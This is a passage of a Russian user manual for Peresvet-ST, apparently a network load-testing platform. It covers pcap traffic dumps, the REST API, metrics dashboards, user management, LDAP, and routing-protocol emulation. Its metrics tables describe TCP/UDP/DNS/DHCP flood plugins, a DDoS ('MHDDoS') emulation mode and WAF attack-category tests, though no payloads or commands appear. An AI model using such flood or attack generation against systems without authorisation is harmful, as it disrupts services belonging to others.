Рис. 8 – Полученная схема после конфигурации клиентского и серверного плагинов

Настройка «Дампы трафика»

Вкладка "Дампы трафика" в веб-интерфейсе позволяет включать запись входящего и исходящего трафика в формате pcap, а также запрашивать эти записи с агента как до завершения, так и после завершения задачи по генерации трафика.

Включение записи трафика

Для просмотра записи отправленного и принятого трафика Пересвет-СТ необходимо включить запись дампов трафика. Включение записи трафика активируется на всех агентах одновременно.

Для этого необходимо:

  1. Подключиться к веб-интерфейсу Пересвет-СТ.

  2. Перейти в раздел Задачи

  3. Выбрать задачу, по которой необходимо собрать запись трафика.

  4. Перейти в настройки включения записи трафика, нажав на кнопку «Дампы трафика» (см. Рис. 9)

Рис. 9

Рис. 9 – Кнопка «Дампы трафика»

  1. Переключите тумблер «Запись дампов трафика»

  2. Заполните поле «Значение»

  3. выберите величину из списка:

    • Bytes – в байтах;
    • KB – в килобайтах;
    • MB – в мегобайтах;
    • GB – в гигобайтах.
  4. Далее необходимо перейти в настройки выбранной задачи и запустить задачу;

  5. Далее перейти настройки включения записи трафика, нажав на кнопку «Дампы трафика»;

  6. В окне «Дампы трафика» присутствует таблица с сделанными записями трафика. Справа от выбранной записи нажмите кнопку «Скачать» и дождитесь загрузки записи трафика.

В этой таблице отображаются дампы, собранные в процессе выполнения данной задачи. Для их появления и возможности скачивания должна быть активирована опция записи. Снимки попадают в таблицу в следующих случаях:
• Когда задача завершается (неважно, автоматически или вы сделали это вручную);
• Если во время выполнения задачи запросили дамп с какого-то конкретного агента. Для повторного запроса записи файлов с агента необходимо нажать кнопку «Обновить список файлов».

Запрос записи трафика

В процессе выполнения задачи вы можете запросить дамп у агента. После отправки запроса на получение дампа, файл появится на контроллере. При завершении задачи, дампы автоматически загружаются на контроллер и доступны для скачивания.
Для этого необходимо:

  1. Подключиться к веб-интерфейсу Пересвет-СТ.

  2. Перейти в раздел Задачи

  3. Выбрать задачу, по которой необходимо собрать запись трафика.

  4. Перейти в настройки включения записи трафика, нажав на кнопку «Дампы трафика» (см. Рис. 9), убедится, что запись дампов трафика включена.

  5. Далее необходимо вернуться в задачу и включить ее.

  6. Далее вернуться в настройки включения записи трафика, нажав на кнопку «Дампы трафика»

  7. В окне «Дампы трафика» нажать на кнопку «Задействованные агенты»

  8. Далее, в строке необходимого агента нажмите на кнопку «Запросить дамп»

  9. Далее необходимо нажать на кнопку «Обзор файлов»

Важно: процесс запроса дампа трафика с агента на контроллер занимает некоторое время в зависимости от нагрузки внутри задачи и объёма дампа трафика.

  1. Далее необходимо нажать на кнопку «Обновить список файлов»

  2. В окне «Дампы трафика» присутствует таблица с сделанными записями трафика. Справа от появившейся записи нажмите кнопку «Скачать» и дождитесь загрузки записи трафика.

Управление Пересвет-СТ через REST API

Помимо веб-интерфейса, Пересвет-СТ предоставляет REST API для программного управления системой. API контроллера доступен по порту 8080 и использует JWT-аутентификацию — токен передаётся в cookies после прохождения авторизации. Через API можно выполнять все основные операции: управление задачами (создание, запуск, остановка, удаление), настройку агентов и сетей, управление пользователями и группами. Это позволяет автоматизировать сценарии тестирования, интегрировать Пересвет-СТ в CI/CD-пайплайны и управлять платформой из внешних скриптов или оркестраторов. Для взаимодействия с API достаточно любого HTTP-клиента (curl, Postman+, Python requests и т.д.).

Метрики и дашборды

Пересвет-СТ собирает метрики в реальном времени и экспортирует их в ClickHouse. Для визуализации результатов используется Grafana — каждому типу плагина соответствует один или несколько преднастроенных дашбордов. Дашборды доступны из веб-интерфейса Пересвет-СТ при запущенной задаче.

Под графиками дашбордов расположена кнопка «Экспорт в PDF», позволяющая сформировать отчёт по результатам задачи тестирования в формате PDF. Отчёт включает все графики и таблицы метрик текущего дашборда на выбранном временном интервале и может использоваться для документирования результатов испытаний, передачи заказчику или внутреннего аудита.

Общие метрики (Total)

Дашборд Total отображает агрегированные показатели по всем плагинам задачи:

МетрикаОписание
total.rx.packets / total.tx.packetsОбщее количество принятых / отправленных пакетов
total.rx.bytes / total.tx.bytesОбщий объём принятых / отправленных данных (байт)
total.tx.dropКоличество отброшенных пакетов при отправке
total.pkt.lostКоличество потерянных пакетов
total.rx.badКоличество принятых некорректных пакетов
total.tx.l1_bits / total.rx.l1_bitsБитрейт L1 (с учётом межкадровых интервалов и преамбул) TX / RX
total.tx.line_rate / total.rx.line_rateУтилизация линии (%) TX / RX
total.cpu_usageЗагрузка CPU ядер обработки
total.tos.rxПринятые пакеты с анализом поля ToS
total.rx.imissedПакеты, пропущенные NIC (переполнение очереди)
total.rx.ierrorsОшибки приёма на уровне NIC

HTTP / TLS

Дашборд Total HTTP/TLS — агрегация по всем HTTP-плагинам. Дашборд HTTP/TLS — детализация по конкретному плагину.

МетрикаОписание
http_1_1.tx.requests / http_1_1.rx.responsesОтправленные запросы / полученные ответы (HTTP/1.1)
http_1_1.tx.bytes / http_1_1.rx.bytesОбъём данных TX / RX
http_1_1.code.1xx–5xxРаспределение HTTP-кодов ответа (1xx, 2xx, 3xx, 4xx, 5xx)
http_1_1.ttfbTime To First Byte — задержка до первого байта ответа
http_1_1.ttlbTime To Last Byte — задержка до последнего байта ответа
http_1_1.method.get/post/put/patch/deleteКоличество запросов по HTTP-методам
http_2.tx.requests / http_2.rx.responsesОтправленные запросы / полученные ответы (HTTP/2)
http_2.code.1xx–5xxРаспределение HTTP-кодов ответа (HTTP/2)
http_2.ttfb / http_2.ttlbЗадержки TTFB / TTLB (HTTP/2)
http_2.streams.opened/closed/resetedКоличество открытых / закрытых / сброшенных стримов HTTP/2
tcp.cpsTCP Connections Per Second — новых соединений в секунду
tcp.ccTCP Concurrent Connections — текущие активные соединения
tcp.hs_avg_delayСредняя задержка TCP-хендшейка
tls_1_2.* / tls_1_3.*Аналогичные метрики в разрезе версий TLS (пакеты, байты, CPS, CC, Client/Server Hello, задержка хендшейка)

TCP Flood (SYN / SYN-ACK / ACK / RST / RST-ACK / FIN / FIN-ACK / PSH / PSH-ACK / Xmas)

Дашборд Total TCP — агрегация по всем TCP flood плагинам. Для каждого типа flood есть отдельный дашборд (например, TCP SYN, TCP ACK, TCP Xmas и т.д.).

МетрикаОписание
tcp.tx.flags.syn / tcp.rx.flags.synОтправленные / принятые SYN-пакеты
tcp.tx.flags.syn_ack / tcp.rx.flags.syn_ackОтправленные / принятые SYN-ACK-пакеты
tcp.tx.flags.ack / tcp.rx.flags.ackОтправленные / принятые ACK-пакеты
tcp.tx.flags.rst / tcp.rx.flags.rstОтправленные / принятые RST-пакеты
tcp.tx.flags.rst_ack / tcp.rx.flags.rst_ackОтправленные / принятые RST-ACK-пакеты
tcp.tx.flags.fin / tcp.rx.flags.finОтправленные / принятые FIN-пакеты
tcp.tx.flags.fin_ack / tcp.rx.flags.fin_ackОтправленные / принятые FIN-ACK-пакеты
tcp.tx.flags.psh / tcp.rx.flags.pshОтправленные / принятые PSH-пакеты
tcp.tx.flags.psh_ack / tcp.rx.flags.psh_ackОтправленные / принятые PSH-ACK-пакеты
tcp.tx.flags.xmas / tcp.rx.flags.xmasОтправленные / принятые Xmas-пакеты (все флаги)
tcp.tx.packets / tcp.rx.packetsОбщее количество TCP-пакетов TX / RX
tcp.tx.bytes / tcp.rx.bytesОбъём TCP-данных TX / RX

UDP Flood

Дашборд Total UDP — агрегация. Дашборд UDP — детализация.

МетрикаОписание
udp.tx.packets / udp.rx.packetsОтправленные / принятые UDP-пакеты
udp.tx.bytes / udp.rx.bytesОбъём UDP-данных TX / RX
udp.rtВремя отклика (round-trip) UDP
udp.dropПотерянные UDP-пакеты

GRE Flood

Дашборд Total GRE — агрегация. Дашборд GRE — детализация.

МетрикаОписание
gre.tx.packets / gre.rx.packetsОтправленные / принятые GRE-пакеты
gre.tx.bytes / gre.rx.bytesОбъём GRE-данных TX / RX

DNS Flood

Дашборд Total DNS Flood — агрегация. Дашборд DNS Flood — детализация.

МетрикаОписание
dns_flood.tx.packets / dns_flood.rx.packetsОтправленные / принятые DNS Flood-пакеты
dns_flood.tx.bytes / dns_flood.rx.bytesОбъём DNS Flood-данных TX / RX

DHCP Flood

Дашборд Total DHCP Flood — агрегация. Дашборд DHCP Flood — детализация.

МетрикаОписание
dhcp_flood.tx.packets / dhcp_flood.rx.packetsОтправленные / принятые DHCP Flood-пакеты
dhcp_flood.tx.bytes / dhcp_flood.rx.bytesОбъём DHCP Flood-данных TX / RX

WAF

Дашборд WAF отображает результаты тестирования Web Application Firewall — количество отправленных запросов по каждой категории атак:

Группа метрикОписание
waf.broken_access_control, waf.injection.*, waf.xss.*, waf.ssrf и др.Базовое тестирование: по одной метрике на каждый тип атаки (18 категорий)
waf.sqli.*SQLi Advanced: 50 типов SQL-инъекций
waf.xxe.*XXE Advanced: 4 типа атак на XML-парсер
waf.cmdi.*Command Injection Advanced: 18 типов OS-команд
waf.fi.*File Injection Advanced: 8 типов включения файлов
waf.pt.*Path Traversal Advanced: 17 типов обхода путей
waf.unc.*UNC Path: 4 типа атак через UNC-пути
waf.rce.*RCE Advanced: 6 типов удалённого выполнения кода
waf.xss.* (advanced)XSS Advanced: 19 типов межсайтового скриптинга
waf.ssrf.* (advanced)SSRF Advanced: 19 типов подделки серверных запросов
waf.ssti.*SSI/SSTI Advanced: 7 типов серверных инъекций шаблонов
waf.graphql.*GraphQL: 2 типа атак на схему GraphQL

DNS

Дашборд Total DNS — агрегация по всем DNS-плагинам. Отдельные дашборды: DNS over UDP, DNS over TCP, DNS over TLS, DNS over HTTP.

МетрикаОписание
dns.tx.queries / dns.rx.responsesОтправленные запросы / полученные ответы
dns.tx.bytes / dns.rx.bytesОбъём DNS-данных TX / RX
dns.rx.rcode.okОтветы с кодом NOERROR
dns.rx.rcode.format_errorОтветы с кодом FORMERR
dns.rx.rcode.server_failureОтветы с кодом SERVFAIL
dns.rx.rcode.name_errorОтветы с кодом NXDOMAIN
dns.rx.rcode.not_implementedОтветы с кодом NOTIMP
dns.rx.rcode.refusedОтветы с кодом REFUSED
dns.rx.flags.aa/tc/rd/raФлаги DNS-ответов: Authoritative, Truncated, Recursion Desired/Available
dns.tls_1_2.* / dns.tls_1_3.*Метрики DNS over TLS в разрезе версий TLS (пакеты, байты, CC)

MHDDoS Emulation

Дашборд MHDDoS отображает комбинированные метрики всех активных подплагинов (SYN Flood, UDP Flood, GRE Flood, STRESS и др.) в рамках одной задачи MHDDoS.

Dual-режим (клиент + сервер)

При одновременном запуске клиентского и серверного плагинов доступны дашборды с суффиксом Dual, объединяющие метрики обеих сторон на одном экране:

ДашбордОписание
Total DualОбщие метрики клиента и сервера
Total HTTP/TLS DualHTTP/TLS агрегация клиент + сервер
HTTP/TLS DualДетализация HTTP/TLS клиент + сервер

Служебные метрики

Дополнительные метрики, доступные на общих дашбордах:

МетрикаОписание
arp.rx/tx.packets, arp.rx/tx.bytesARP-трафик (автоматический, для резолвинга MAC-адресов)
icmp.rx/tx.packets, icmp.rx/tx.bytesICMP-трафик (автоматические ответы на ping и др.)
kni.rx/tx.packets, kni.rx/tx.bytesТрафик через KNI-интерфейс (перенаправление в ядро ОС)
other.rxПрочие принятые пакеты, не относящиеся к плагинам

Настройка «Пользователи и группы»

Вкладка "Пользователи и группы" в веб-интерфейсе позволяет удобно управлять учетными записями: создавать, редактировать и удалять пользователей и группы, обеспечивая эффективное администрирование доступа и ролей в системе.

Настройка «Групп»

Создание группы

Для того, чтобы создать группу для пользователей необходимо:

  1. Перейти в раздел Пользователи → Группы;

  2. Далее нажать на кнопку «Создать Группу» (рис. Рис. 10)

Рис. 10

Рис. 10 – Кнопка «Создать группу»

  1. В окне «Новый пользователь» заполнить поле «Название группы»

  2. Выбрать права пользователей группы из следующего списка:

    • Доступ к дашбордам
    • Создание групп
    • Удаление групп
    • Чтение групп
    • Редактирование групп
    • Чтение логов
    • Чтение настроек
    • Редактирование настроек
    • Чтение задач
    • Редактирование задач
    • Блокировка пользователей
    • Создание пользователей
    • Удаление пользователей
    • Чтение пользователей
    • Редактирование пользователей
  3. Далее, для создания группы необходимо нажать на кнопку «Применить».

Редактирование группы

Для того, чтобы редактировать группу для пользователей необходимо:

  1. Перейти в раздел Пользователи → Группы;

  2. Выбрать нужную группу и напротив нее нажать на кнопку

  3. Выполнить необходимое изменение в параметрах «Название группы» «Права пользователей в группе»

  4. Далее, для сохранения настроек групы необходимо нажать на кнопку «Применить».

Удаление группы

Для того, чтобы удалить группу для пользоветелей необходимо:

  1. Перейти в раздел Пользователи → Группы;

  2. Выбрать нужную группу и напротив нее нажать на кнопку

  3. Далее, в появившемся окне «Удаление группы» для выбранной группы подтвердите удаление, нажатием кнопки «Подтвердить».

Настройка «Пользователей»

Создание пользователя

Для того, чтобы создать группу для пользоветелй необходимо:

  1. Перейти в раздел Пользователи → Пользователи;

  2. Далее нажать на кнопку «Создать Пользователя» (рис. Рис. 11);

Рис. 2

Рис. 11 – Кнопка «Создать Пользователя»

  1. В окне «Новый пользователь» заполнить поле «Адрес эл. почты»;

  2. Заполнить поле «Имя пользователя»;

  3. Выбрать соответстсвующую группу из списка групп;

  4. Далее, для создания пользователя необходимо нажать на кнопку «Применить»;

  5. После это в окне «Данные для входа» появятся пара логина и пароля для прохождения аутентификации в веб-интерфейсе;

  6. При первой аутентификации пользователю будет предложено сменить пароль (см. раздел Смена пароля).

Редактирование пользователя

Для того, чтобы редактировать данные пользователя необходимо:

  1. Перейти в раздел Пользователи → Пользователи;

  2. Выбрать нужного пользователя и напротив нее нажать на кнопку и в появившемся окне нажать кнопку «Редактировать».

  3. Выполнить необходимое изменение в параметрах пользователя

  4. Далее, для сохранения настроек пользователя необходимо нажать на кнопку «Применить».

Блокировка пользователя

Для того, чтобы редактировать данные пользователя необходимо:

  1. Перейти в раздел Пользователи → Пользователи;

  2. Выбрать нужного пользователя и напротив нее нажать на кнопку и в появившемся окне нажать кнопку «Заблокировать».

  3. Далее, для применения блокировки к пользователю необходимо нажать на кнопку «Применить».

  4. Далее напротив заблокированного пользователя в столбце «Статус» у него изменится состояние с «Активный» на «Заблокированный»

Удаление пользователя

Для того, чтобы удалить пользователя необходимо:

  1. Перейти в раздел Пользователи → Пользователи;

  2. Выбрать нужного пользователя и напротив нее нажать на кнопку

  3. Далее, в появившемся окне «Удаление пользователя» для выбранного пользователя подтвердите удаление, нажатием кнопки «Подтвердить».

Интеграция с AD/LDAP

Пересвет-СТ поддерживает интеграцию с Active Directory и LDAP-каталогами для централизованного управления учётными записями. Это позволяет использовать существующую корпоративную директорию вместо ручного создания пользователей и групп в веб-интерфейсе.

Подключение к AD/LDAP

Настройка подключения к серверу каталогов выполняется в разделе «Пользователи и группы» веб-интерфейса контроллера. Администратор указывает адрес сервера, Base DN, учётные данные сервисной записи и параметры TLS-соединения.

Импорт групп из AD/LDAP

После подключения к каталогу доступен импорт групп — администратор выбирает нужные группы из каталога, и они автоматически создаются в Пересвет-СТ с возможностью назначения прав доступа. Синхронизация состава групп выполняется при каждом входе пользователя.

Импорт пользователей из AD/LDAP

Пользователи, входящие в импортированные группы, автоматически получают доступ к веб-интерфейсу при аутентификации через свои доменные учётные данные. Ручное создание учётных записей для таких пользователей не требуется — при первом входе профиль создаётся автоматически на основе атрибутов из каталога.

Схема использования Пересвет-СТ

В данном разделе представлена схема использования Пересвет-СТ (см. Рис. 12). Данный пример показывает возможность тестирования любых сетевых устройств, как и приложений, стоящими между агентами Пересвет-СТ, а также использование одного контроллера Пересвет-СТ для управления внешними и внутренними агентами Пересвет-СТ. Агенты могут выступать как в роли генератора трафика, так и в роли сервера, принимающего трафик.

Рис. 12

Рис. 12 – Схема использования Пересвет-СТ

Настройка маршрутизации (Редактирование маршрутизации)

Пересвет-СТ поддерживает эмуляцию протоколов динамической маршрутизации. Данный функционал позволяет создавать виртуальные узлы, подключённые к одному или нескольким сетевым интерфейсам, и проводить комплексное тестирование как BNG, так и обычных маршрутизаторов.

Для перехода к настройке маршрутизации необходимо открыть задачу и выбрать нужный агент, затем нажать кнопку «Редактирование маршрутизации». В левой панели отображается дерево настроек, включающее:

  • Основные настройки — общие параметры;
  • Интерфейс — настройка сетевого интерфейса агента;
  • VxLAN — настройка VxLAN-туннелирования (overlay-сеть);
  • Протоколы: IS-IS, OSPFv2, OSPFv3, BGP, LDP, LLDP.

После внесения всех изменений необходимо нажать кнопку «+ Сохранить» в правом верхнем углу страницы.


Интерфейс

Раздел «Интерфейс» задаёт базовые параметры сетевого интерфейса агента, через который будет осуществляться взаимодействие с тестируемым устройством.

ПолеОписание
Имя интерфейсаИмя сетевого интерфейса (заполняется автоматически, например 0000:01:00.0)
VLANИдентификатор VLAN. Значение 0 означает отсутствие тегирования
MTUМаксимальный размер передаваемого блока данных в байтах. Значение 0 означает использование значения по умолчанию
Исходная сеть (наш IP)IP-адрес источника в формате CIDR, например 10.0.0.0/24
Целевая сеть (Gateway)IP-адрес шлюза (следующего хопа), например 10.0.0.1

LAG/MLAG

LAG (Link Aggregation Group) и MLAG (Multi-Chassis Link Aggregation) настраиваются в разделе Control Plane страницы задачи. Позволяют объединять несколько физических каналов в единый логический, увеличивая пропускную способность и обеспечивая отказоустойчивость соединения при тестировании.

VxLAN

VxLAN (Virtual Extensible LAN) — технология сетевой виртуализации, описанная в RFC 7348. Позволяет создавать логические сети второго уровня (overlay) поверх существующей IP-инфраструктуры (underlay) путём инкапсуляции Ethernet-кадров в UDP-пакеты. Пересвет-СТ поддерживает генерацию и приём трафика внутри VxLAN-туннелей, что позволяет тестировать оборудование ЦОД и сетевые фабрики, использующие VxLAN в качестве overlay-транспорта.

При включении VxLAN весь генерируемый трафик (TCP, UDP, HTTP и др.) автоматически инкапсулируется в VxLAN-заголовки: к каждому пакету добавляется внешний Ethernet-заголовок, внешний IP-заголовок с адресами VTEP, UDP-заголовок с портом назначения 4789 и VxLAN-заголовок с идентификатором VNI. Входящий трафик автоматически декапсулируется и обрабатывается соответствующим плагином.

Ограничения: VxLAN и VLAN не могут использоваться одновременно на одном интерфейсе. При включении VxLAN поле «VLAN» в настройках интерфейса должно быть равно 0.

Основные настройки VxLAN

ПолеОписаниеЗначение по умолчанию
Включить VxLANВключение/выключение VxLAN-инкапсуляции на данном интерфейсеВыкл.
VNIVxLAN Network Identifier — 24-битный идентификатор виртуальной сети. Допустимые значения: от 1 до 16777215 (0xFFFFFF). Все пакеты будут маркированы данным VNI, а входящие пакеты с другим VNI будут отброшены

Настройки VTEP (Virtual Tunnel Endpoint)

VTEP — это конечная точка VxLAN-туннеля. Пересвет-СТ эмулирует локальный VTEP и направляет инкапсулированный трафик на удалённый VTEP тестируемого устройства.

ПолеОписаниеЗначение по умолчанию
Локальный VTEP IPIP-адрес (или начальный адрес диапазона) локального VTEP. Используется как Source IP во внешнем IP-заголовке VxLAN-пакетов
Количество локальных VTEPКоличество локальных VTEP-адресов в диапазоне. Адреса назначаются последовательно, по одному на каждую очередь обработки (CPU core). Например, при значении 4 и базовом адресе 10.0.0.1 будут использованы адреса 10.0.0.110.0.0.41
Удалённый VTEP IPIP-адрес (или начальный адрес диапазона) удалённого VTEP — адрес тестируемого устройства. Используется как Destination IP во внешнем IP-заголовке
Количество удалённых VTEPКоличество удалённых VTEP-адресов в диапазоне. Значение 1 — все очереди направляют трафик на один удалённый VTEP. При значении, равном количеству очередей, каждая очередь использует свой удалённый VTEP1

Внутренние Ethernet-заголовки (Inner L2)

Параметры внутреннего (оригинального) Ethernet-кадра, который будет инкапсулирован в VxLAN-пакет.

ПолеОписаниеЗначение по умолчанию
Inner Source MACMAC-адрес источника во внутреннем Ethernet-заголовке. Эмулирует MAC-адрес виртуальной машины или хоста за локальным VTEP
Inner Destination MACMAC-адрес назначения во внутреннем Ethernet-заголовке. Эмулирует MAC-адрес виртуальной машины или хоста за удалённым VTEP

Структура VxLAN-пакета

Итоговая структура каждого сгенерированного пакета при включённом VxLAN:

┌──────────────────────────────────────────────────┐
│ Outer Ethernet Header (14 байт) │ ← MAC интерфейса → MAC шлюза
├──────────────────────────────────────────────────┤
│ Outer IP Header (20 байт) │ ← Локальный VTEP IP → Удалённый VTEP IP
├──────────────────────────────────────────────────┤
│ Outer UDP Header (8 байт) │ ← Source port (энтропия) → Dest port: 4789
├──────────────────────────────────────────────────┤
│ VxLAN Header (8 байт) │ ← Flags + VNI
├──────────────────────────────────────────────────┤
│ Inner Ethernet Header (14 байт) │ ← Inner Source MAC → Inner Dest MAC
├──────────────────────────────────────────────────┤
│ Inner IP / TCP / UDP / HTTP / ... │ ← Полезная нагрузка плагина
└──────────────────────────────────────────────────┘

Примечание: VxLAN-инкапсуляция добавляет 50 байт служебных заголовков к каждому пакету. Рекомендуется учитывать это при настройке MTU на underlay-сети (стандартное значение MTU для VxLAN underlay — 1550 или 9000 при использовании Jumbo Frames). Внешний UDP Source Port генерируется автоматически на основе параметров внутреннего потока для обеспечения равномерного распределения трафика (ECMP) в underlay-сети.


IS-IS

IS-IS (Intermediate System to Intermediate System) — протокол маршрутизации внутри автономной системы, широко применяемый в сетях операторов связи. Пересвет-СТ может эмулировать один или несколько IS-IS экземпляров, каждый из которых ведёт себя как полноценный маршрутизатор: выполняет синхронизацию базы данных и наводнение LSP.

Основные настройки IS-IS

ПолеОписаниеЗначение по умолчанию
Включить IS-ISВключение/выключение протокола IS-ISВыкл.
LevelУровень IS-IS: L1, L2 или L1/L2L1
System IDИдентификатор системы, например 0100.0000.00010100.1001.0010
Router IDИдентификатор маршрутизатора, например 10.10.10.210.10.10.10
HostnameИмя хоста маршрутизатора, например R1bngblaster
AreasСписок зон IS-IS (добавление через кнопку «+ Add area»)49.0001/24

Протоколы IS-IS

ПолеОписаниеЗначение по умолчанию
Protocol IPv4Включение маршрутизации IPv4Вкл.
Protocol IPv6Включение маршрутизации IPv6Выкл.

Таймеры IS-IS

ПолеОписаниеЗначение по умолчанию
Hello interval (s)Интервал отправки Hello-пакетов, в секундах10
Hold time (s)Время удержания соседства, в секундах30
LSP lifetime (s)Время жизни LSP, в секундах65535
LSP refresh intervalИнтервал обновления LSP, в секундах300
LSP retry intervalИнтервал повторной отправки LSP при ошибке, в секундах5
LSP TX intervalИнтервал окна отправки LSP, в миллисекундах10
LSP TX window sizeКоличество LSP, отправляемых в одном окне1
LSP buffer sizeРазмер буфера LSP, в байтах1492
CSNP intervalИнтервал CSNP, в секундах30
Teardown time (s)Время завершения сессии, в секундах5
Hello paddingВключение дополнения Hello-пакетов до MTUВыкл.

Аутентификация IS-IS — Уровень 1 и Уровень 2

Настройки аутентификации задаются отдельно для каждого уровня IS-IS.

ПолеОписание
Auth typeТип аутентификации: none, simple (текстовый пароль) или md5
Auth keyКлюч аутентификации
Auth helloВключить аутентификацию в Hello-пакетах
Auth CSNPВключить аутентификацию в CSNP-пакетах
Auth PSNPВключить аутентификацию в PSNP-пакетах

Segment Routing IS-IS

ПолеОписаниеЗначение по умолчанию
SR AlgorithmАлгоритм Segment Routing0
SRGB BaseНачальное значение диапазона глобальных блоков SR0
SRGB RangeРазмер диапазона SRGB0
Node SIDNode SID для данного экземпляра IS-IS0
Adjacency SID BaseБазовое значение для генерации Adjacency SID0 (отключено)

Генерация топологии IS-IS

Пересвет-СТ позволяет автоматически сгенерировать эмулированную топологию IS-IS. Это позволяет быстро создать сеть из заданного количества виртуальных узлов без ручной конфигурации каждого из них.

ПолеОписаниеЗначение по умолчанию
Включить генерациюВключение автоматической генерации топологииВыкл.
Тип топологииТип генерируемой топологии: Ring, и др.Ring
Количество узловЧисло генерируемых виртуальных узлов10
Area IDИдентификатор зоны IS-IS49.0001/24
System ID StartНачальный System ID для генерируемых узлов1337.0000.0001
Loopback StartНачальный адрес loopback-интерфейса10.0.0.1
LevelУровень IS-IS для генерируемой топологииL2
МетрикаМетрика IS-IS для межузловых связей10
Prefix StartНачальный префикс для анонсирования10.100.0.0/24
Prefix CountКоличество префиксов на узел1
Prefix MetricМетрика для анонсируемых префиксов0
Branch FactorКоэффициент ветвления (для топологий типа дерево)2
IPv6Включение поддержки IPv6 в генерируемой топологииВыкл.
SRGB BaseНачало диапазона SRGB для генерируемой топологии1000
SRGB RangeРазмер диапазона SRGB для генерируемой топологии100

Для запуска генерации топологии нажмите кнопку «Сгенерировать».


OSPFv2

OSPFv2 (Open Shortest Path First version 2) — протокол маршрутизации для IPv4, широко используемый в корпоративных и операторских сетях. Пересвет-СТ эмулирует OSPFv2-узел с поддержкой Segment Routing и генерацией топологии.

Основные настройки OSPFv2

ПолеОписаниеЗначение по умолчанию
Включить OSPFv2Включение/выключение протокола OSPFv2Выкл.
VersionВерсия OSPF (фиксировано)2
Router IDИдентификатор OSPF-маршрутизатора, например 10.10.10.2
AreaИдентификатор зоны OSPF0.0.0.0
HostnameИмя хоста маршрутизатора

Таймеры OSPFv2

ПолеОписаниеЗначение по умолчанию
Hello interval (s)Интервал Hello-пакетов, в секундах10
Dead interval (s)Интервал объявления соседа недоступным, в секундах40
LSA retry intervalИнтервал повторной отправки LSA, в секундах0
Router priorityПриоритет маршрутизатора при выборе DR/BDR0
Teardown time (s)Время завершения сессии, в секундах0

Аутентификация OSPFv2

ПолеОписание
Auth typeТип аутентификации: none, simple или md5
Auth keyКлюч аутентификации

Segment Routing OSPFv2

ПолеОписаниеЗначение по умолчанию
SRGB BaseНачало глобального блока SR0
SRGB RangeРазмер диапазона SRGB0
Node SIDNode SID для данного экземпляра OSPF0

Генерация топологии OSPFv2

ПолеОписаниеЗначение по умолчанию
Включить генерациюВключение автоматической генерации OSPFv2-топологииВыкл.
Тип топологииТип генерируемой топологии: Ring, и др.Ring
Количество узловЧисло генерируемых виртуальных OSPF-узлов10
Area IDИдентификатор зоны OSPF0.0.0.0
Loopback StartНачальный адрес loopback-интерфейса10.0.0.1
Link Subnet StartНачальная подсеть для межузловых линков172.16.0.0/31
МетрикаМетрика OSPF для межузловых линков10
Prefix CountКоличество префиксов на узел1
Branch FactorКоэффициент ветвления2
SRGB BaseНачало диапазона SRGB1000
SRGB RangeРазмер диапазона SRGB100

Для запуска генерации топологии нажмите кнопку «Сгенерировать».


OSPFv3

OSPFv3 — версия протокола OSPF с поддержкой IPv6. Интерфейс настройки аналогичен OSPFv2 и содержит те же секции: основные настройки, таймеры, аутентификация, Segment Routing и генерация топологии.

Основные настройки OSPFv3

ПолеОписаниеЗначение по умолчанию
Включить OSPFv3Включение/выключение протокола OSPFv3Выкл.
VersionВерсия OSPF (фиксировано)3
Router IDИдентификатор OSPF-маршрутизатора
AreaИдентификатор зоны OSPF0.0.0.0
HostnameИмя хоста маршрутизатора

Таймеры OSPFv3

ПолеОписаниеЗначение по умолчанию
Hello interval (s)Интервал Hello-пакетов, в секундах10
Dead interval (s)Интервал объявления соседа недоступным, в секундах40
LSA retry intervalИнтервал повторной отправки LSA, в секундах0
Router priorityПриоритет маршрутизатора0
Teardown time (s)Время завершения сессии, в секундах0

Аутентификация OSPFv3

ПолеОписание
Auth typeТип аутентификации: none, simple или md5
Auth keyКлюч аутентификации

Segment Routing OSPFv3

ПолеОписаниеЗначение по умолчанию
SRGB BaseНачало глобального блока SR0
SRGB RangeРазмер диапазона SRGB0
Node SIDNode SID0

Генерация топологии OSPFv3

Параметры генерации топологии для OSPFv3 аналогичны OSPFv2. Дополнительно доступны поля Link Subnet Start, Prefix Count, Branch Factor, SRGB Base, SRGB Range. Для запуска нажмите кнопку «Сгенерировать».


BGP

BGP (Border Gateway Protocol) — стандартный протокол внешней маршрутизации для обмена маршрутной информацией между автономными системами. В Пересвет-СТ реализован механизм эмуляции BGP-сессий с поддержкой массовой генерации префиксов (BGP Updates).

Создание и управление BGP-сессиями

Для добавления новой BGP-сессии нажмите кнопку «+ Создать BGP сессию». Каждая сессия отображается как отдельная вкладка (Сессия #1, Сессия #2 и т.д.) и может быть удалена кнопкой «×».

Настройки BGP-сессии

Семейства адресов (Address Families)

В рамках каждой BGP-сессии задаётся набор поддерживаемых семейств адресов, передаваемых в OPEN-сообщении:

СемействоОписание
ipv4-unicastIPv4 одноадресная маршрутизация
ipv6-unicastIPv6 одноадресная маршрутизация
ipv4-multicastIPv4 многоадресная маршрутизация
ipv6-multicastIPv6 многоадресная маршрутизация
ipv4-labeled-unicastIPv4 с метками (MPLS)
ipv6-labeled-unicastIPv6 с метками (MPLS)
ipv4-vpn-unicastIPv4 VPN
ipv6-vpn-unicastIPv6 VPN
evpnEthernet VPN (EVPN)

Таймеры BGP-сессии

ПолеОписаниеЗначение по умолчанию
Hold time (s)Hold time в секундах90
TTLTTL для BGP-пакетов64
ToSIP ToS (DSCP) для BGP-пакетов0
ReconnectАвтоматическое переподключение сессииВкл.
Teardown time (s)Время завершения сессии, в секундах0

BGP Updates (генерация префиксов)

Раздел «BGP Updates» позволяет настроить автоматическую генерацию и анонсирование большого количества BGP-префиксов. Каждый блок Update (#1, #2 и т.д.) задаёт один пакет обновлений. Для добавления нового блока используйте кнопку «+ Добавить update».

ПолеОписаниеЗначение по умолчанию
ASNНомер автономной системы источника0
Next-hop baseБазовый адрес next-hop для анонсируемых маршрутов
Next-hop countКоличество next-hop адресов1
Local prefЗначение Local Preference0
Label baseБазовая метка MPLS0
End-of-RIBОтправка маркера End-of-RIB после передачи всех обновленийВыкл.
Базовый префиксНачальный префикс для генерации, например 10.0.0.0/24
КоличествоЧисло генерируемых префиксов10

После заполнения параметров нажмите кнопку «Сгенерировать» — список сгенерированных префиксов отобразится в поле Prefixes (one per line).


LDP

LDP (Label Distribution Protocol) — протокол распределения меток MPLS. Два устройства с установленной LDP-сессией называются LDP-пирами и обмениваются метками двунаправленно. LDP используется для построения и поддержки баз данных LSP, обеспечивающих пересылку трафика в MPLS-сетях.

Обнаружение LDP выполняется по UDP-порту 646; сессия устанавливается по TCP-порту 646. В фазе обнаружения Hello-пакеты рассылаются на групповой адрес 224.0.0.2.

Основные настройки LDP

